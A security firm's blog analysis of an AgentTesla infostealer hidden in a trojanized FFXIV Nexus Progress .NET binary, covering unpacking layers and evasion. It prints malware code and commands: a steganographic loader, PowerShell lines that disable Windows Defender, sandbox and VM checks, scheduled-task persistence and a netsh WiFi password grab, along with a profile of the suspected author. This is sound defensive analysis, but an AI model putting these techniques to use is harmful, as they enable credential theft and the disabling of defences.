AgentTesla Sample Analysis

A malware file has been detected inside a network monitored by Risk&Co.

Here is the story of its analysis.

Initial recognition phase

Lazy discovering

The file command is useful to quickly find clues on the nature of the binary:

$ file SCAN\ COPY.exe_
SCAN COPY.exe_: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The sample is known by VirusTotal. Several details are provided:

History and names indications from VirusTotal

The sample seems to be a very old malware which is still active or at least still analyzed!

A few original names are also provided :

  • FFXIV Nexus Progress.exe ;
  • vgutqhxrgb.exe ;
  • SCAN COPY.exe.

String-oriented analysis

The readable embedded strings refer mostly to something called FFXIV_Nexus_Progress.

There is no further interesting matter.

Asking a friend

A quick search using the executable name indicates a link to an AgentTesla sample, with high confidence.

JoeSandbox analysis report

The Malware Bazaar also gives a hint on the method of delivery of the dangerous content: mail attachment.

Spam information retrieved by

Investigation into FFXIV Nexus Progress

Back to the sources

The program seems to be an OpenSource project available from a public Github repository ; it displays the progress of a Nexus weapon upgrade in FFXIV.

For neophytes, FFXIV stands for Final Fantasy XIV.

The project was active several years ago, with a lot of users involved.

For end-users who do not want to build the software themselves from source, a binary version has also been made available:

Binary diffing

As expected, the downloaded archive from the legitimate Github project contains a binary named FFXIV Nexus Progress.exe:

$ unzip -l FFXIV\ Nexus\ 
Archive:  FFXIV Nexus
  Length      Date    Time    Name
---------  ---------- -----   ----
   311808  2015-02-19 23:22   FFXIV Nexus Progress.exe
---------                     -------
   311808                     1 file

However, its size is surprising: about 304 kB, whereas the program detected as a malware weighs about 673 kB.

Computed entropy for both files shows that the malware sample contains more random/encrypted data at the end of its content:

At first, the binaries can be compared using their embedded resources:

$ monodis --presources FFXIV\ Nexus\ Progress.exe 
       0: FFXIV_Nexus_Progress.Resources.resources (size 31832)
    7c5c: FFXIV_Nexus_Progress.Main.resources (size 116854)

$ monodis --presources SCAN\ COPY.exe 
       0: FFXIV_Nexus_Progress.Main.resources (size 116854)
   1c87a: FFXIV_Nexus_Progress.Resources.resources (size 77372)
   2f6ba: ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources (size 388815)

Some data seems to come from the original FFXIV\ Nexus\ Progress.exe program but some extra data seems to have been added!

This data can be filtered without using any heavy process:

$ monodis --mresources FFXIV\ Nexus\ Progress.exe
$ md5sum *
cac314cb3dc8cbe0c8b5e88d40535483  FFXIV_Nexus_Progress.Main.resources
22b74fdeabb4586bd6664b77687833f8  FFXIV_Nexus_Progress.Resources.resources

$ monodis --mresources SCAN\ COPY.exe 
$ md5sum *
cac314cb3dc8cbe0c8b5e88d40535483  FFXIV_Nexus_Progress.Main.resources
9214398a190bc3225b613d091f87ce9f  FFXIV_Nexus_Progress.Resources.resources
ace0a311747db47bb041b8bff4f24851  ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources

Since there is no suitable tool for quick command line usage, a small C# program was developed to extract those resources. It is available on our Github repository and produces the following output:

$ make && ./dn-extractor.exe *resources
mcs -out:dn-extractor.exe dn-extractor.cs /reference:System.Drawing.dll

[*] ------ Processing FFXIV_Nexus_Progress.Main ------
[!] Unhandled resource type for '$this.Icon': <Icon>

[*] ------ Processing FFXIV_Nexus_Progress.Resources ------
[i] Extracting resource 'drg' as image data
[i] Extracting resource 'mnk' as image data
[i] Extracting resource 'blm' as image data
[i] Extracting resource 'brd' as image data
[i] Extracting resource 'nin' as image data
[i] Extracting resource 'pld' as image data
[i] Extracting resource 'war' as image data
[i] Extracting resource 'whm' as image data
[i] Extracting resource 'sch' as image data
[i] Extracting resource 'smn' as image data
[i] Extracting resource 'SoftwareUpdates4' as bytes

[*] ------ Processing ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ ------

[i] Extracting resource 'ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ' as image data

The last two files seem interesting:

$ file res-*SoftwareUpdates4.bin res-*55413*img 
res-*SoftwareUpdates4.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
res-*55413*img:            PNG image data, 361 x 361, 8-bit/color RGBA, non-interlaced

The very last file is a valid picture:

Strange PNG with high entropy

Breaking the first layer

Checking for updates

As it is not obfuscated at all, the SoftwareUpdates4 resource can be analyzed easily.

Project tree displayed by dnSpy

The program original filename is SoftwareUpdates4.dll.

The update is based on a single namespace HyperCloud containing only one class: StreamSound.

The execution flow is quite straightforward. It starts with setting one attribute:

public static string kurdistan

The Final() method:

  1. loads the content to process by calling GameMode();
  2. translates the resource into a byte array with e5() and VoiceDecrypt();
  3. runs the final payload with the Assembly.Load() and MethodInfo.Invoke() methods.
public static void Final(string e4)
    Bitmap i = StreamSound.GameMode(e4);
    byte[] rawAssembly = StreamSound.VoiceDecrypt(StreamSound.e5(i));
    Assembly assembly = Assembly.Load(rawAssembly);
    MethodInfo entryPoint = assembly.EntryPoint;
    entryPoint.Invoke(null, null);

Recovering the embedded update

The GameMode() function only loads a given resource.

public static Bitmap GameMode(string @object)
    ResourceManager resourceManager = new ResourceManager(@object, Assembly.GetEntryAssembly());
    return (Bitmap)resourceManager.GetObject(@object);

Here the string could be the name of the previously unused mysterious PNG file.

The e5() function simply translates pixels into bytes, skipping hidden black pixels:

public static byte[] e5(Bitmap i1)
    List<byte> list = new List<byte>();
        int num = i1.Size.Width - 1;
        for (int j = 0; j <= num; j++)
            int num2 = i1.Size.Height - 1;
            for (int k = 0; k <= num2; k++)
                Color left = StreamSound.@do(i1, j, k);
                bool flag = left != Color.FromArgb(0, 0, 0, 0);
                if (flag)
        return list.ToArray();

Finally, the VoiceDecrypt() function uses the 16 first bytes as a XOR key to retrieve the original encrypted data:

public static byte[] VoiceDecrypt(byte[] i15)
        byte[] array = new byte[i15.Length - 16 - 1 + 1];
        Buffer.BlockCopy(i15, 16, array, 0, array.Length);
        int num = array.Length - 1;
        for (int j = 0; j <= num; j++)
            ref byte ptr = ref array[j];
            ptr ^= i15[j % 16];
        return array;

A Python script reproduces the whole decryption process and returns without any surprise a new executable:

$ python3 ./ res-*55413*img
[i] Image size: 361 x 361
[i] Key: b'\x0e&\x86\xd2\x0ej\x83FjGx\xd7\xf8 (['

$ file stage2.bin 
stage2.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Not so obfuscated kill switches

The kurdistan and the Final items are protected by some code which throws an exception if a condition is not met.

Before recompilation (1/2)
Before recompilation (2/2)

Fortunately, dnSpy is good enough to remove this obfuscation layer through one “edit code /recompile code” pass (Ctrl+Shift+E).

After recompilation (1/2)
After recompilation (2/2)

 Thus, the program seems to stop further execution after the early days of 2020.

The CyaX packer

First contact

Once decompiled, the stage2.bin file hints at its nature:

Summary displayed by dnSpy

CyaX is a well-known packer for .Net binaries.

The behavior of the program is pretty easy to understand ; however, it depends on several configuration properties.

Entrypoint of the packer

Each parameter used to control the execution flow is defined at runtime:

Configuration storage and its extraction

It may be interesting to note that the Strings class is a class provided by the Microsoft.VisualBasic.dll assembly library.

In order to quickly retrieve the value of each configuration parameter, a small C# tool was developed. It is available on our Github repository and produces the following output:

mcs -out:config.exe config.cs
InjectValue: 4
isStartup: 1
UAC: 0
Downloader: 0
AntiVm: 0
AntiSB: 0
AntiEm: 0

All packer protections are disabled. The UAC configuration parameter is not used, which could be a hint for removed code and development iterations.

Luckily, even if it is disabled, each feature made available by the packer remains usable during the analysis.

Antivirus check

After a small pause ranging from 45 seconds to 1 minute, the program checks for Antivirus products.

By searching for the words “eset” and “nod”, the packer cares about being analyzed by one antivirus only.

Homepage for the ESET antivirus

If the ESET product is found, the program exits.

Windows Defender

If the current user has an administration role, the packer defines Registry values in order to disable Windows Defender.

Path Key Value
SOFTWARE\Microsoft\Windows Defender\Features TamperProtection 0
SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableBehaviorMonitoring 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableOnAccessProtection 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableScanOnRealtimeEnable 1

Then the following PowerShell commands are run, if relevant:

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Set-MpPreference -MAPSReporting 0
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6

These commands are executed “quietly”, as they do not make a visible graphical window appear.

The Get-MpPreference and Set-MpPreference PowerShell cmdlets appeared with the release of Windows 10 / Windows Server 2012.

Since there is no try/catch block to handle exceptions here, recent OS may be expected by the attackers.

Virtualization detection

With the Registry

Virtualization detection is based at first on the Registry.

The program searches for some strings (for instance vbox, virtualbox or vmware) in various places.

For VirtualBox:

  • key Identifier from HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • key SystemBiosVersion from HARDWARE\Description\System;
  • key VideoBiosVersion from HARDWARE\Description\System;
  • any value from SOFTWARE\Oracle\VirtualBox Guest Additions.

For VmWare:

  • key Identifier from HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • key Identifier from HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • key Identifier from HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • key 0 from SYSTEM\ControlSet001\Services\Disk\Enum;
  • key DriverDesc from SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000;
  • key Device Description from SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings;
  • key InstallPath from SOFTWARE\VMware, Inc.\VMware Tools;
  • any value from SOFTWARE\VMware, Inc.\VMware Tools.

While read values are always compared to upper-case strings, one change may suggest a multi-step development here:

Inspected registry keys for VmWare

For Qemu:

  • key Identifierfrom HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • key SystemBiosVersionfrom HARDWARE\Description\System.

With exported symbols

In order to detect a running instance of Wine, the malware checks if the kernel32.dll library contains the export wine_get_unix_file_name.

With some hardware configuration

The following request is ran from the .\ROOT\cimv2 namespace: SELECT * FROM Win32_VideoController.

An empty string or one of the following values inside the description of the video controller in use triggers a virtualization detection:

  • VM Additions S3 Trio32/64;
  • S3 Trio32/64;
  • VirtualBox Graphics Adapter;
  • VMware SVGA II;

Sandboxing detection

The program searches for only one loaded DLL file: sbiedll.dll. The library is linked to the Sandboxie product.

The malware execution stops if any of the usernames below is used (case is still ignored):

  • user;
  • sandbox;
  • virus;
  • malware;
  • schmidti;
  • currentuser.

The execution path must not be C:\file.exe nor contain the following strings:

  • \VIRUS;

The search for a window named Afx:400000:0 seems to be aimed at detecting the WinJail Sandbox.


The packer assembly is copied into the user application data directory with a hardcoded configuration name: vGUtqhXRGb.exe.

A hidden process is then run to register a new system task:

schtasks.exe /Create /TN "Updates\vGUtqhXRGb.exe" /XML "<tmp xml file>"

The temporary XML description is extracted from the packer resources:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="">
    <Principal id="Author">
  <Actions Context="Author">

The USERID andLOCATION values are updated on the fly before registering the task.

Next execution levels

As a final step, the packer gives the execution flow back to the original code.

Depending on the configuration, there are two options:

  • method reflection(): loading a new assembly from resources and calling its entrypoint ;
  • method StartInject(): loading a new assembly and calling a method from a newly available type.

The second method is also used as a fallback if the first one fails.

Both assemblies need to get unscrambled before being used and the first one is XOR-encrypted with the key jZDFfZSoFgJPfRarbTtnrpg.

Unscrambling and decrypting algorithms are defined in the Extra class; they are quite simple and translated into a Python script which can be found on our Github repository.

The injection method

The StartInject function body

The assembly relative to the injection method can be retrieved using the following commands:

dn-extractor.exe CyaX-Sharp/Properties/Resources.resources > /dev/null
python3 ./ ./res-Resources-UI4.bin > /dev/null

file res-Resources-UI4.bin.plain
res-Resources-UI4.bin.plain: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

The executable is linked to a PDB file:

strings -a res-Resources-UI4.bin.plain | grep pdb

The binary is another CyaX packer masquerading as a Bonjour library from Apple ; its Kirkuk() method runs the injection process.

The reflective method

The reflection function body
dn-extractor.exe ../06-CyaX-Sharp/CyaX-Sharp/3Ce3BsCvCjB.resources > /dev/null
python3 ./ --key jZDFfZSoFgJPfRarbTtnrpg res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin > /dev/null

$ file res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain
res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Once decrypted, the payload is run directly.

Spot the mistakes

Here is the function used to decrypt the content loaded by the reflective method.

Not really a nation-state encryption

Two mistakes can be noticed:

  • the BigEndian conversion introduces null values between each key character, which means half of final values will be useless for a XOR operation;
  • the num variable iterates on the initial raw key but the converted bytes are used as XOR key, so actually half of the initial key is used.

Final stage

With the help of some strings and typical characteristics, the sample has been identified as an AgentTesla instance.

This kind of malware is an information stealer, with a huge list of sources of interest: many locations are scanned for valuable information. Configuration and credentials are thus harvested for a large number of common VPN / FTP / email clients and Web browsers.

The code base is rather impressive: about 33k lines of code!

The full analysis of this sample has not been conducted in this article as the work has already been done several times publicly.

However, some key points should be highlighted.

Analysis setup

The control flow is obfuscated and all the strings are encrypted.

Entrypoint of the final stage

The first difficulty for the analyst can be bypassed using a de4dot fork with full support for vanilla ConfuserEx.

C:\de4dot-cex>de4dot.exe -d final.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015
Latest version and source code:

Detected ConfuserEx  (C:\de4dot-cex\final.exe)

C:\de4dot-cex>de4dot.exe -f final.exe -o final-unconfused.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015
Latest version and source code:

Detected ConfuserEx  (C:\de4dot-cex\final.exe)
Cleaning C:\de4dot-cex\final.exe
Renaming all obfuscated symbols
Saving C:\de4dot-cex\final-unconfused.exe
Recovered original control flow

The AES-encrypted strings remain hard to read.

Each calling site for decryption can however get identified with a simple Shell script.

find unconfused-sources/ -name '*cs' -exec python3 ./ -b {} \; | sort | uniq > /tmp/ids.txt

Then, the original malware sample has to be slightly modified with dnSpy in order to decrypt strings on demand.

Name, flags and access changes for the method \u202B of Module

The following runtime check can get bypassed by inverting the condition inside the IL code:

Final condition to run
Relative IL code

decrypt-all.exe > decrypted-strings.txt

A small C# program can then ask the malware to decrypt each string while a database of decrypted string is built for each used identifier. Finally, these strings can be reinjected into the source code with extra Shell/Python scripts.

AgentTesla readable source code

Analyzing the malware now resolves to classical code reading.

Exfiltrated data

Several categories of data are sent to the C2:

  • cookies;
  • screenshots;
  • keystrokes;
  • passwords.

Extra information are delivered too:

  • current time;
  • user name;
  • computer name;
  • OS name;
  • running CPU;
  • available RAM.

The data stolen from the infected system will then be exfiltrated via SMTP (to, the password for this account is left as an exercise for the reader) or through one HTTP POST request using Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv UserAgent.

Version identification

Some recent variant of AgentTesla steals WiFi credentials.

This is the case of the current sample, as the vlj() method runs a hidden netsh process:

internal static string vcj(string vmf)
        string input = xwd.vlj("wlan show profile name="" + vmf + "" key=clear");
        string value = new Regex("Key Content * ").Match(input).Groups["password"].Value;
        if (value.Length > 0)
                return value;
        return "No Password!";

However, the analyzed sample does not seem to be a v3 AgentTesla instance. For instance, there is no connection to to resolve the external IP address of the infected host nor any Telegram bot support.

This is quite surprising, as the 3-DES encryption should be a hint for the v3 update.

Threat background

AgentTesla authors

According to the analysis made by Malwatch in 2020 and research on AgentTesla authors by KrebsonSecurity in 2018, AgentTesla could be retrieved freely from a Turkish WordPress site (agenttesla.wordpress-dot-com). The current domain used by AgentTesla (agenttesla-dot-com) was registered in 2014 by someone named Mustafa can Özaydin, using the email address, when looking at the WHOIS information. This Gmail address is linked to many accounts:

  • a Youtube account of a Turkish person with the same exact name, that actually contains a video which real purpose was to help people install an AgentTesla control panel. This video was since removed because of Youtube policy infrigements.

  • a Facebook account of a Turkish person who studied computer technology and programming:

  • a Linkedin account of someone closely resembling the person on Facebook, who describes himself as “a System Support Expert” and currently working as an Information Technology System Specialist at WOME DELUXE:

  • a Twitter account with again a Turkish man using a similarly looking profile picture:

Moreover, the @agent_tesla Twitter account is registered using the email address This Twitter account once posted a link to one of the original forum posts about AgentTesla being in Beta, on an older hacking forum called jomgegar-dot-com.

A paste on can also be linked to agent_tesla:

It seems to be some old code that might have been incorporated into the malware later on. It also contains a link to a Github repository that provides a tool made for Outlook passwords recovery, where code could also have been used for AgentTesla.

Targets over the years

This malware, first discovered in late 2014, has been attacking a variety of targets over the years.

As early as 2016, there were reports of typosquatting by AgentTesla users to conceal their malicious intents behind falsely legitimate email adresses. According to Talos Intelligence, the most used domains were those of manufacturing and logistics companies. For example, they tried to impersonate the Oil & Gas russian company ERIELL using the misspelled domain erieil-dot-com.

In 2019, AgentTesla was used as a tool for the SilverTerrier information stealing campaign aimed at various businesses (mostly high-tech, legal and manufacturing domains).

However, nowadays it seems to be mainly aimed at energy companies. Due to the global COVID-19 pandemic, the demand for oil decreased and forced companies to lower their prices. This grabbed the attention of malware creators like AgentTesla’s: according to InfosecInstitute, there were more than 5000 attacks targeting energy companies during the peak of the campaign in February 2020.

The pandemic also lead to COVID-19 themed phishing campaigns where AgentTesla could be found, targeting different kind of businesses and government entities that are related or affected by this crisis.


Execution flow summary

Each steps of the malware execution can be summarized in the flowchart below.
Execution flow summary of AgentTesla

Closing words

Launched in 2014, AgentTesla is an old information stealer but remains strong at evading detection using multiple modern techniques.

Even if its website has been abandoned, it is still under development with new features added. Relying on the casual MITRE ATT&CK framework, ESET has thus set up a huge list of techniques used by the malware.

If the various protection layers are interesting to study for the analyst, AgentTesla also deserves attention from decision makers:

  • it is one of the main threats in malicious email attachments;
  • it targets the industrial world, such as Oil & Gas companies for instance;
  • it has been improved over the years.

It is interesting to note that there are some sites on the clear web that are still selling the AgentTesla malware. It is unclear whether it is a scam or not but they seem to be offering the same services as the official site did (monthly subscriptions for instance).


MD5 e43fad2f68b266355bb3367493388795
SHA1 9fd2bc1bf884dc505de4416e080f4e03cb77b3e8
SHA256 b500fa62f356afa1aa8651567fba30088850ea5d5db638225c6c64465c83c846


The injection process
MD5 0130559aa191e846efae2eac4dbc84bd
SHA1 9dc95eb05ac91ff3877ed0edcee68e9ccd3b21cc
SHA256 ca84e8c6ade485e41c8b761a0610fe3b355d82ee90c08ad5410aded2612636b2


The final stage
MD5 2bb34672018e8b2459ebbccf1036327c
SHA1 4f9d524ae23821b7a937e38fa97887a2cf35038e
SHA256 fa80b7fb16db61cd201115e7e2616bae6332486a8b5cd6e193200ec6ba300772